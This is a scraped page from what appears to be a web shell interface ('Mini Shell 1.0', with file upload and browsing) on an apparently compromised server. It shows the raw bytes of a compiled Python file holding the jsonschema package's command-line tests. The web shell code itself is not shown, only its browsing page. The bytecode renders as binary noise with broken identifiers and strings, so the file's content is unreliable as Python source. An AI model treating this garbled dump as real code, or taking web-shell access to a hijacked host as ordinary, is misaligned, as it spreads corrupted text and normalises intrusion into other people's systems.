HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1991111/cwd/lib/python3/dist-packages/jsonschema/tests/__pycache__/
Upload File :
Current File : //proc/1991111/cwd/lib/python3/dist-packages/jsonschema/tests/__pycache__/test_cli.cpython-311.pyc
�

�r�cBp��R�ddlmZmZddlmZddlmZddlmZddl	m
Z
ddlmZddlZddl
Z
ddlZddlZddlZ	ddlmZn#e$rddlZYnwxYwdd	lmZdd
lmZmZmZddlmZmZmZddlm Z m!Z!d
�Z"d�Z#d�Z$Gd�de��Z%Gd�de��Z&Gd�de��Z'dS)�)�redirect_stderr�redirect_stdout)�StringIO)�JSONDecodeError)�Path)�dedent)�TestCaseN)�metadata)�m)�Draft4Validator�Draft202012Validator�cli)�RefResolutionError�SchemaError�ValidationError)�_LATEST_VERSION�validatec�j��tt������G�fd�dt��}|S)Nc�6��eZdZd�Z�fd�Zed���ZdS)�%fake_validator.<locals>.FakeValidatorc��dS�N�)�self�args�kwargss   �;/usr/lib/python3/dist-packages/jsonschema/tests/test_cli.py�__init__z.fake_validator.<locals>.FakeValidator.__init__!s���D�c�4���r����SgSr)�pop)r�instance�errorss  �r�iter_errorsz1fake_validator.<locals>.FakeValidator.iter_errors$s����
$��z�z�|�|�#��Irc��dSrr�r�schemas  r�check_schemaz2fake_validator.<locals>.FakeValidator.check_schema)s���DrN)�__name__�
__module__�__qualname__rr$�classmethodr()r#s�r�
FakeValidatorr sX�������	�	�	�	�	�	�	�	�

�	�	�
��	�	�	rr-)�list�reversed�object)r#r-s` r�fake_validatorr1sT���
�(�6�"�"�
#�
#�F�������������rc����fd�}|S)Nc�n����|��}|�t|���t|��Sr)�get�FileNotFoundErrorr)�path�contents�all_contentss  �r�openzfake_open.<locals>.open1s8����#�#�D�)�)����#�D�)�)�)���!�!�!rr)r8r9s` r�	fake_openr:0s#���"�"�"�"�"�
�Krc��	tj|��td���#t$r}t	|��cYd}~Sd}~wwxYw)Nz.Tried and failed to capture a JSON dump error.)�json�loads�RuntimeErrorr�str)�non_json�errors  r�_message_forrB9se��M��
�8�����K�L�L�L�������5�z�z��������������s�%�
A�A�A�Ac�F�eZdZe��e��dfd�Zd1d�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z d�Z!d �Z"d!�Z#d"�Z$d#�Z%d$�Z&d%�Z'd&�Z(d'�Z)d(�Z*d)�Z+d*�Z,d+�Z-d,�Z.d-�Z/d.�Z0d/�Z1d0S)2�TestCLIrc
�v�tj|��}|�|��|�t	td����t|��t_	t��t��}}tj||||���}	t`n#t`wxYw|�	|	|td�||	|���|����������|���|���fS)Nr9)�stdin�stdout�stderrz�
                    Expected an exit code of {} != {}.

                    stdout: {}

                    stderr: {}
                )�msg)
r�
parse_args�update�assertFalse�hasattrr:r9r�run�assertEqualr�format�getvalue)
r�argv�filesrF�	exit_code�override�	argumentsrGrH�actual_exit_codes
          r�run_clizTestCLI.run_cliCs(���N�4�(�(�	�����"�"�"������f�-�-�.�.�.��U�#�#���		�%�Z�Z����F�F�"�w�����	 � � ��������L�L�L�L�����i�V���F��$��O�O�%�%��O�O�%�%�	��
.�
.�	�	
�	
�	
� ��� � �&�/�/�"3�"3�3�3s�,4B(�(	B1�c��|�|jdi|��t|��t|��f��dS)Nr)rOrXr)rrGrHrs    r�
assertOutputszTestCLI.assertOutputshsM������D�L�"�"�6�"�"�
�F�^�^�V�F�^�^�,�	
�	
�	
�	
�	
rc���tdd���}|�tdtj|j�����t
|g��gd�dd�	��dS)
N�I am an error!��r"�*{"does not": "matter since it is stubbed"}��some_schema�
some_instance��-ircrb��12: I am an error!
�rS�	validatorrRrTrH�rr[�dictr<�dumpsr"r1�rrAs  r�test_invalid_instancezTestCLI.test_invalid_instancens~��� 0�2�>�>�>������H�"�j���8�8����%�e�W�-�-�7�7�7��)�	�	
�	
�	
�	
�	
rc���tdd���}|�tdtj|j�����t
|g��gd�dd�	��dS)
Nr]r^r_r`ra�rerc�--output�prettyrbrfz�                ===[ValidationError]===(some_instance)===

                I am an error!
                -----------------------------
            rhrjrms  r�#test_invalid_instance_pretty_outputz+TestCLI.test_invalid_instance_pretty_output}s���� 0�2�>�>�>������H�"�j���8�8����%�e�W�-�-�M�M�M���	�	
�	
�	
�	
�	
rc���tdd���}|�tdtj|j�����t
|g��gd�dd�	��dS)
Nr]r^r_r`ra)rq�plainrercrbrfrgrhrjrms  r�+test_invalid_instance_explicit_plain_outputz3TestCLI.test_invalid_instance_explicit_plain_output�s~��� 0�2�>�>�>������H�"�j���8�8����%�e�W�-�-�L�L�L��)�	�	
�	
�	
�	
�	
rc���d}td|���}td|���}|�tdtj|�����t||g��gd�dd	�
��dS)Nr^�First errorr_�Second errorr`rardrfzM                12: First error
                12: Second error
            rh�rr[rkr<rlr1�rr"�first�seconds    r�%test_invalid_instance_multiple_errorsz-TestCLI.test_invalid_instance_multiple_errors�s������
��A�A�A�� ��(�C�C�C������H�"�j��2�2����%�e�V�_�5�5�7�7�7���	�	
�	
�	
�	
�	
rc���d}td|���}td|���}|�tdtj|�����t||g��gd�dd	�
��dS)Nr^rxr_ryr`rarprfa                ===[ValidationError]===(some_instance)===

                First error
                -----------------------------
                ===[ValidationError]===(some_instance)===

                Second error
                -----------------------------
            rhrzr{s    r�3test_invalid_instance_multiple_errors_pretty_outputz;TestCLI.test_invalid_instance_multiple_errors_pretty_output�s������
��A�A�A�� ��(�C�C�C������H�"�j��2�2����%�e�V�_�5�5�M�M�M��	�	�	
�	
�	
�	
�	
rc	�2�d}td|���td|���g}d}td|���g}|�tdtj|��tj|�����t||��gd	�d
d���dS)
Nr^�An errorr_�
Another error�foo�BOOMr`�rb�some_first_instance�some_second_instance)rer�rer�rbrfze                12: An error
                12: Another error
                foo: BOOM
            rhrz�r�first_instance�first_errors�second_instance�
second_errorss     r�test_multiple_invalid_instancesz'TestCLI.test_multiple_invalid_instances�s������J��@�@�@��O�n�E�E�E�
�� ��(��/�J�J�J�K�
�����H�$(�J�~�$>�$>�%)�Z��%@�%@����
%�\�=�A�A������	�	
�	
�	
�	
�	
rc	�2�d}td|���td|���g}d}td|���g}|�tdtj|��tj|�����t||��gd	�d
d���dS)
Nr^r�r_r�r�r�r`r�)rqrrrer�rer�rbrfa�                ===[ValidationError]===(some_first_instance)===

                An error
                -----------------------------
                ===[ValidationError]===(some_first_instance)===

                Another error
                -----------------------------
                ===[ValidationError]===(some_second_instance)===

                BOOM
                -----------------------------
            rhrzr�s     r�-test_multiple_invalid_instances_pretty_outputz5TestCLI.test_multiple_invalid_instances_pretty_output�s������J��@�@�@��O�n�E�E�E�
�� ��(��/�J�J�J�K�
�����H�$(�J�~�$>�$>�%)�Z��%@�%@����
%�\�=�A�A�����
�!	�	
�	
�	
�	
�	
rc	�2�d}td|���td|���g}d}td|���g}|�tdtj|��tj|�����t||��gd	�d
d���dS)
Nr^r�r_r�r�r�r`r�)�--error-format�&:{error.message}._-_.{error.instance}:rer�rer�rbrfz5:An error._-_.12::Another error._-_.12::BOOM._-_.foo:rhrzr�s     r�test_custom_error_formatz TestCLI.test_custom_error_formats������J��@�@�@��O�n�E�E�E�
�� ��(��/�J�J�J�K�
�����H�$(�J�~�$>�$>�%)�Z��%@�%@����
%�\�=�A�A�����J�!	�	
�	
�	
�	
�	
rc�V�|�td���dgdd���dS)Nz{"type": 12}�rbrbrf�O                12: 12 is not valid under any of the given schemas
            �rSrRrTrH�r[rk�rs r�test_invalid_schemazTestCLI.test_invalid_schema4sD������>�2�2�2�����	�	
�	
�	
�	
�	
rc	�X�ddi}|�t��5}t|d���ddd��n#1swxYwYt|j��}|�t
tj|�����gd�ddt|��zd	z�
��dS)N�typer^rY�r'r"r��rqrrrbrf�%===[SchemaError]===(some_schema)===

�
-----------------------------
r��	�assertRaisesrrr?�	exceptionr[rkr<rl�rr'�erAs    r�!test_invalid_schema_pretty_outputz)TestCLI.test_invalid_schema_pretty_output?s����"���
�
�
�{�
+�
+�	1�q��F�R�0�0�0�0�	1�	1�	1�	1�	1�	1�	1�	1�	1�	1�	1����	1�	1�	1�	1��A�K� � ������4�:�f�#5�#5�6�6�6�6�6�6��9��e�*�*��5�6�
	�
	
�
	
�
	
�
	
�
	
s�=�A�Ac�V�|�td���dgdd���dS)Nz{"type": 12, "items": 57}r�rbrfzF                57: 57 is not of type 'object', 'boolean'
            r�r�r�s r�#test_invalid_schema_multiple_errorsz+TestCLI.test_invalid_schema_multiple_errorsRsE������#>�?�?�?�����	�	
�	
�	
�	
�	
rc	�Z�ddd�}|�t��5}t|d���ddd��n#1swxYwYt|j��}|�t
tj|�����gd�dd	t|��zd
z���dS)Nr^�9)r��itemsrYr�r�r�rfr�r�r�r�r�s    r�1test_invalid_schema_multiple_errors_pretty_outputz9TestCLI.test_invalid_schema_multiple_errors_pretty_output]s����r�*�*��
�
�
�{�
+�
+�	1�q��F�R�0�0�0�0�	1�	1�	1�	1�	1�	1�	1�	1�	1�	1�	1����	1�	1�	1�	1��A�K� � ������4�:�f�#5�#5�6�6�6�6�6�6��9��e�*�*��5�6�
	�
	
�
	
�
	
�
	
�
	
s�>�A�Ac�Z�|�tdd���gd�dd���dS)	zv
        "Validating" an instance that's invalid under an invalid schema
        just shows the schema error.
        z{"type": 12, "minimum": 30}�13rardrfr�r�Nr�r�s r�)test_invalid_schema_with_invalid_instancez1TestCLI.test_invalid_schema_with_invalid_instancepsV��
	
����9�"����8�7�7���	�	
�	
�	
�	
�	
rc	��dddd�}}|�t��5}t||���ddd��n#1swxYwYt|j��}|�t
tj|��tj|�����gd�dd	t|��zd
z���dS)N�
r^��r��minimumr�ra�rqrrrercrbrfr�r�r�r�)rr"r'r�rAs     r�7test_invalid_schema_with_invalid_instance_pretty_outputz?TestCLI.test_invalid_schema_with_invalid_instance_pretty_output�s����r�:�:�&��
�
�
�{�
+�
+�	7�q��F�X�6�6�6�6�	7�	7�	7�	7�	7�	7�	7�	7�	7�	7�	7����	7�	7�	7�	7��A�K� � ������ �J�v�.�.�"�j��2�2����N�M�M��9��e�*�*��5�6�	�
	
�
	
�
	
�
	
�
	
��A�A�Ac
��|�tddd���gd�dd�td�������dS)	Nz{"minimum": 30}�not valid JSON!�12)rbr�r�)rer�rer�rbrfzw                Failed to parse 'first_instance': {}
                12: 12 is less than the minimum of 30
            r��r[rkrPrBr�s r�-test_invalid_instance_continues_with_the_restz5TestCLI.test_invalid_instance_continues_with_the_rest�su������-�0� $����
�������|�$5�6�6�7�7�!	�	
�	
�	
�	
�	
rc��dddd�}}|�t��5t||���ddd��n#1swxYwY|�t	tj|�����gd�dd	�
��dS)Nr�r^r�r�r�r�)r�r�rbrfz7:12 is not valid under any of the given schemas._-_.12:r�)r�rrr[rkr<rl)rr"r's   r�1test_custom_error_format_applies_to_schema_errorsz9TestCLI.test_custom_error_format_applies_to_schema_errors�s�����r�:�:�&��
�
�
�{�
+�
+�	7�	7��F�X�6�6�6�6�	7�	7�	7�	7�	7�	7�	7�	7�	7�	7�	7����	7�	7�	7�	7�	
����4�:�f�#5�#5�6�6�6����
�L�	�
	
�
	
�
	
�
	
�
	
r�c
��d}|�td|���gd�dd�t|�������dS)Nr��{}rardrfz@                Failed to parse 'some_instance': {}
            r�r��rr"s  r�test_instance_is_invalid_JSONz%TestCLI.test_instance_is_invalid_JSON�sd��$������4�x�@�@�@�7�7�7�����|�H�-�-�.�.�	�	
�	
�	
�	
�	
rc���|�tdd���gd�d���\}}|�|��|�d|��|�d|��dS)	Nr�r�rar�rf�rSrRrTz7(some_instance)===

Traceback (most recent call last):
rb�rXrkrL�assertIn�assertNotIn�rrGrHs   r�+test_instance_is_invalid_JSON_pretty_outputz3TestCLI.test_instance_is_invalid_JSON_pretty_output�s������� �/����
N�M�M��&�	
�	
����	
���� � � ��
�
�H��	
�	
�	
�	
�����/�/�/�/�/rc��d}|�td���t|��dgdd�t	|�������dS)Nr�r�r�rbrfz8                Failed to parse <stdin>: {}
            )rSrFrRrTrH)r[rkrrPrBr�s  r�&test_instance_is_invalid_JSON_on_stdinz.TestCLI.test_instance_is_invalid_JSON_on_stdin�si��$������4�(�(�(��8�$�$�������|�H�-�-�.�.�	�
	
�
	
�
	
�
	
�
	
rc��|�td���td��gd�d���\}}|�|��|�d|��|�d|��dS)	Nr�r�r�r�rf)rSrFrRrTz1(<stdin>)===

Traceback (most recent call last):
rb)rXrkrrLr�r�r�s   r�4test_instance_is_invalid_JSON_on_stdin_pretty_outputz<TestCLI.test_instance_is_invalid_JSON_on_stdin_pretty_output�s�������4�(�(�(��,�-�-�6�6�6��
&�
�
����	
���� � � ��
�
�B��	
�	
�	
�	
�����/�/�/�/�/rc
��d}|�t|���dgdd�t|�������dS)Nr�r�rbrf�>                Failed to parse 'some_schema': {}
            r�r�r&s  r�test_schema_is_invalid_JSONz#TestCLI.test_schema_is_invalid_JSON�s^��"������6�*�*�*�������|�F�+�+�,�,�	�		
�		
�		
�		
�		
rc��|�td���gd�d���\}}|�|��|�d|��dS)Nr�r�r�rfr��5(some_schema)===

Traceback (most recent call last):
)rXrkrLr�r�s   r�)test_schema_is_invalid_JSON_pretty_outputz1TestCLI.test_schema_is_invalid_JSON_pretty_output
su������#4�5�5�5�6�6�6��&�
�
����	
���� � � ��
�
�F��	
�	
�	
�	
�	
rc
��d\}}|�t||���dgdd�t|�������dS)�M
        Only the schema error is reported, as we abort immediately.
        )r��also not valid JSON!rarbrfr�r�Nr��rr'r"s   r�.test_schema_and_instance_are_both_invalid_JSONz6TestCLI.test_schema_and_instance_are_both_invalid_JSONsh��E��������6��B�B�B�������|�F�+�+�,�,�	�		
�		
�		
�		
�		
rc���|�tdd���gd�d���\}}|�|��|�d|��|�d|��d	S)
r�r�r�rar�rfr�r�rcNr�r�s   r�<test_schema_and_instance_are_both_invalid_JSON_pretty_outputzDTestCLI.test_schema_and_instance_are_both_invalid_JSON_pretty_output(s�������-�4����
N�M�M��&�	
�	
����	
���� � � ��
�
�F��	
�	
�	
�	
����&�1�1�1�1�1rc�X�|�td���gd�dd���dS)Nr�r�)re�nonexisting_instancerbrfzC                'nonexisting_instance' does not exist.
            r�r�r�s r�test_instance_does_not_existz$TestCLI.test_instance_does_not_exist=sH������4�(�(�(�>�>�>���	�	
�	
�	
�	
�	
rc�X�|�td���gd�dd���dS)Nr�r�)rqrrrer�rbrfz�                ===[FileNotFoundError]===(nonexisting_instance)===

                'nonexisting_instance' does not exist.
                -----------------------------
            r�r�r�s r�*test_instance_does_not_exist_pretty_outputz2TestCLI.test_instance_does_not_exist_pretty_outputHsP������4�(�(�(������	�	
�	
�	
�	
�	
rc�8�|�dgdd���dS)N�nonexisting_schemarf�%'nonexisting_schema' does not exist.
�rRrTrH�r[r�s r�test_schema_does_not_existz"TestCLI.test_schema_does_not_existZs5�����&�'��;�		�	
�	
�	
�	
�	
rc�:�|�gd�dd���dS)N)rqrrr�rf��                ===[FileNotFoundError]===(nonexisting_schema)===

                'nonexisting_schema' does not exist.
                -----------------------------
            r�r�r�s r�(test_schema_does_not_exist_pretty_outputz0TestCLI.test_schema_does_not_exist_pretty_outputbs:�����=�=�=���		�
	
�
	
�
	
�
	
�
	
rc�:�|�gd�dd���dS)N)rer�r�rfr�r�r�r�s r�&test_neither_instance_nor_schema_existz.TestCLI.test_neither_instance_nor_schema_existos8�����E�E�E��;�		�	
�	
�	
�	
�	
rc�:�|�gd�dd���dS)N)rqrrrer�r�rfr�r�r�r�s r�4test_neither_instance_nor_schema_exist_pretty_outputz<TestCLI.test_neither_instance_nor_schema_exist_pretty_outputwsB����������	�	
�	
�	
�	
�	
rc�Z�|�tdd���gd�dd���dS�Nr�rardrY�rSrRrGrHr�r�s r�test_successful_validationz"TestCLI.test_successful_validation��H������4�t�<�<�<�7�7�7���		�	
�	
�	
�	
�	
rc�Z�|�tdd���gd�dd���dS�Nr�rar�z"===[SUCCESS]===(some_instance)===
rYr�r�r�s r�(test_successful_validation_pretty_outputz0TestCLI.test_successful_validation_pretty_output��H������4�t�<�<�<�M�M�M�8��		�	
�	
�	
�	
�	
rc�r�|�td���td��dgdd���dS)Nr�r�rbrY�rSrFrRrGrH�r[rkrr�s r�#test_successful_validation_of_stdinz+TestCLI.test_successful_validation_of_stdin�sK������4�(�(�(��4�.�.�����	�	
�	
�	
�	
�	
rc�t�|�td���td��gd�dd���dS)Nr�r�r�z===[SUCCESS]===(<stdin>)===
rYr�r�r�s r�1test_successful_validation_of_stdin_pretty_outputz9TestCLI.test_successful_validation_of_stdin_pretty_output�sO������4�(�(�(��4�.�.�6�6�6�2��	�	
�	
�	
�	
�	
rc�Z�|�tdd���gd�dd���dSr�r�r�s r�-test_successful_validation_of_just_the_schemaz5TestCLI.test_successful_validation_of_just_the_schema�r�rc�Z�|�tdd���gd�dd���dSr�r�r�s r�;test_successful_validation_of_just_the_schema_pretty_outputzCTestCLI.test_successful_validation_of_just_the_schema_pretty_output�r�rc��tjd���}|���|�tj|j��t|j��}|�d��d|j�d�}|�	t|d���dd	d
|j���dzdgd
d
���dS)NF��delete�-{"definitions": {"num": {"type": "integer"}}}�
{"$ref": "�#definitions/num"}�1rarerc�
--base-uri�/rbrYr��
�tempfile�NamedTemporaryFile�close�
addCleanup�os�remove�namer�
write_textr[rk�parent�as_uri�r�ref_schema_file�ref_pathr's    r�0test_successful_validation_via_explicit_base_uriz8TestCLI.test_successful_validation_via_explicit_base_uri�s���"�5�U�C�C�C������������	�?�#7�8�8�8���,�-�-�����K�L�L�L�A�x�}�A�A�A������6��=�=�=��o��h�o�4�4�6�6��<���
��	�		
�		
�		
�		
�		
rc��tjd���}|���|�tj|j��t|j��}|�d��d|j�d�}|�	t|d���dd	d
|j���dzdgd
dd���dS)NFrrrrz"1"rarercrr	rbrfrYz 1: '1' is not of type 'integer'
�rSrRrTrGrHr
rs    r�2test_unsuccessful_validation_via_explicit_base_uriz:TestCLI.test_unsuccessful_validation_via_explicit_base_uri�s���"�5�U�C�C�C������������	�?�#7�8�8�8���,�-�-�����K�L�L�L�A�x�}�A�A�A������6��?�?�?��o��h�o�4�4�6�6��<���
��6�	�
	
�
	
�
	
�
	
�
	
rc	�|�d}d}|�t��5}|�t||���dddt	j�����dg���ddd��n#1swxYwYt|j��}|�	tj�d	�|��dS)
Nz4{"$ref": "someNonexistentFile.json#definitions/num"}rrarercrrb�rSrRzsomeNonexistentFile.json')r�rr[rkr�cwdrr?r�r�r�sep�rr'r"r�rAs     r�,test_nonexistent_file_with_explicit_base_uriz4TestCLI.test_nonexistent_file_with_explicit_base_uri�s��G����
�
�
�1�
2�
2�	�a����� &�"*����
�/� �$�(�*�*�"3�"3�"5�"5�!��
�

�

�

�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	��A�K� � ���
�
���:�:�:�E�B�B�B�B�Bs�AA:�:A>�A>c��d}d}|�t��5}|�t||���gd����ddd��n#1swxYwYt	|j��}|�|d��dS)Nz${"$ref": "foo.json#definitions/num"}rra)rercrznot@UR1rbrzunknown url type: 'foo.json')r�rr[rkr?r�rOr s     r�test_invalid_exlicit_base_uriz%TestCLI.test_invalid_exlicit_base_uri�s���7����
�
�
�1�
2�
2�	�a����� &�"*�������
�

�

�

�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	��A�K� � ������1�	
�	
�	
�	
�	
s�)A�A�Ac��|�tt��|�t	dd���gd�ddd���dS)	Nz{"const": "check"}z"a"rardrfrYza: 'check' was expected
r)�assertIsr
rr[rkr�s r�=test_it_validates_using_the_latest_validator_when_unspecifiedzETestCLI.test_it_validates_using_the_latest_validator_when_unspecified
sc��	
�
�
�*�O�<�<�<�����#7�u�M�M�M�7�7�7���.�	�	
�	
�	
�	
�	
rc�d�d}d}|�t||���gd�ddd���d	S)
zG
        Specifically, `const` validation applies for Draft 7.
        z�
            {
                "$schema": "http://json-schema.org/draft-07/schema#",
                "const": "check"
            }
        �"foo"rardrfrYzfoo: 'check' was expected
rNr�r�s   r�-test_it_validates_using_draft7_when_specifiedz5TestCLI.test_it_validates_using_draft7_when_specifiedsY����������6��B�B�B�7�7�7���0�	�	
�	
�	
�	
�	
rc�b�d}d}|�t||���gd�dd���dS)zP
        Specifically, `const` validation *does not* apply for Draft 4.
        z�
            {
                "$schema": "http://json-schema.org/draft-04/schema#",
                "const": "check"
            }
            r(rardrYr�Nr�r�s   r�-test_it_validates_using_draft4_when_specifiedz5TestCLI.test_it_validates_using_draft4_when_specified0sV����������6��B�B�B�7�7�7���		�	
�	
�	
�	
�	
rN)rYrY)2r)r*r+rrrXr[rnrsrvr~r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrr!r#r&r)r+rrrrDrDBs��������!�#�#�X�X�Z�Z�1�#4�#4�#4�#4�J
�
�
�
�

�

�

�
�
�
�(

�

�

�
�
�
�*
�
�
�6
�
�
�>'
�'
�'
�R
�
�
�8	
�	
�	
�
�
�
�&	
�	
�	
�
�
�
�&
�
�
�$
�
�
�,
�
�
�(
�
�
�$
�
�
�0�0�0�$

�

�

�0�0�0� 
�
�
�
�
�
�
�
�
� 2�2�2�*	
�	
�	
�
�
�
�$
�
�
�
�
�
�
�
�
�
�
�
�"
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�*
�
�
�,C�C�C�&
�
�
�*
�
�
� 
�
�
�&
�
�
�
�
rrDc�@�eZdZe��Zd�Zd�Zd�Zd�Zd�Z	dS)�
TestParserc�t�tjgd���}|�|d|j��dS)N)�--validatorz2jsonschema.tests.test_cli.TestParser.FakeValidator�
--instance�mem://some/instance�mem://some/schemari)rrJr%r-�rrVs  r�2test_find_validator_by_fully_qualified_object_namez=TestParser.test_find_validator_by_fully_qualified_object_nameGsF���N�
�
�
�
�
�	�	
�
�
�i��,�d�.@�A�A�A�A�Arc�t�tjgd���}|�|dt��dS)N)r/rr0r1r2ri)rrJr%rr3s  r�!test_find_validator_in_jsonschemaz,TestParser.test_find_validator_in_jsonschemaRsC���N�
�
�
�
�
�	�	
�
�
�i��,�o�>�>�>�>�>rc��t��t��}}t|��5t|��5|�t��5tj|��ddd��n#1swxYwYddd��n#1swxYwYddd��n#1swxYwY|���|���fSr)rrrr��
SystemExitrrJrQ)rrRrGrHs    r�cli_output_forzTestParser.cli_output_for\sr��!���X�Z�Z���
�V�
$�
$�	%�	%�o�f�&=�&=�	%�	%��"�"�:�.�.�
%�
%���t�$�$�$�
%�
%�
%�
%�
%�
%�
%�
%�
%�
%�
%����
%�
%�
%�
%�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%����	%�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%����	%�	%�	%�	%���� � �&�/�/�"3�"3�3�3sX�B&�B�A8�,B�8A<�<B�?A<�B�B&�B	�B&�B	�B&�&B*�-B*c��|�ddd��\}}|�d|��|�|��dS)Nrqr�r2zinvalid choice: 'foo'�r9r�rLr�s   r�test_unknown_outputzTestParser.test_unknown_outputcsT���,�,����
�
����	
�
�
�-�v�6�6�6����� � � � � rc��|�ddddd��\}}|�d|��|�|��dS)Nrqrrr�r�r2z3--error-format can only be used with --output plainr;r�s   r�test_useless_error_formatz$TestParser.test_useless_error_formatksb���,�,����e��
�
����
	
�
�
�A��	
�	
�	
�	
���� � � � � rN)
r)r*r+r1r-r4r6r9r<r>rrrr-r-Cso������"�N�$�$�M�	B�	B�	B�?�?�?�4�4�4�!�!�!�
!�
!�
!�
!�
!rr-c� �eZdZd�Zd�Zd�ZdS)�TestCLIIntegrationc��tjtjddddgtj���}|�d|��dS)N�-m�pip�show�
jsonschema�rHsLicense: MIT)�
subprocess�check_output�sys�
executable�STDOUTr�)r�outputs  r�test_licensezTestCLIIntegration.test_licenseysK���(�
�^�T�5�&�,�?��$�
�
�
��	
�
�
�o�v�.�.�.�.�.rc��tjtjdddgtj���}|�d�����}|�|tj	d����dS)NrBrEz	--versionrFzutf-8)
rGrHrIrJrK�decode�striprOr
�version)rrQs  r�test_versionzTestCLIIntegration.test_version�ss���)�
�^�T�<��=��$�
�
�
���.�.��)�)�/�/�1�1������(�"2�<�"@�"@�A�A�A�A�Arc���tjtjddgtj���}tjtjdddgtj���}|�||��dS)NrBrErFz--help)rGrHrIrJrKrO)rrL�output_for_helps   r�#test_no_arguments_shows_usage_notesz6TestCLIIntegration.test_no_arguments_shows_usage_notes�sv���(�
�^�T�<�0��$�
�
�
��%�1�
�^�T�<��:��$�
�
�
��	
�����1�1�1�1�1rN)r)r*r+rMrRrUrrrr@r@xsD������/�/�/�B�B�B�	2�	2�	2�	2�	2rr@)(�
contextlibrr�iorr<r�pathlibr�textwrapr�unittestr	rrGrIr�	importlibr
�ImportError�importlib_metadata�
pyrsistentrrErr
r�jsonschema.exceptionsrrr�jsonschema.validatorsrrr1r:rBrDr-r@rrr�<module>ras.��7�7�7�7�7�7�7�7������� � � � � � �����������������������	�	�	�	�����
�
�
�
�����*�"�"�"�"�"�"�"���*�*�*�)�)�)�)�)�)�*����������A�A�A�A�A�A�A�A�A�A�����������
<�;�;�;�;�;�;�;����&���M�M�M�~
�~
�~
�~
�~
�h�~
�~
�~
�B2!�2!�2!�2!�2!��2!�2!�2!�j2�2�2�2�2��2�2�2�2�2s�A�	A�A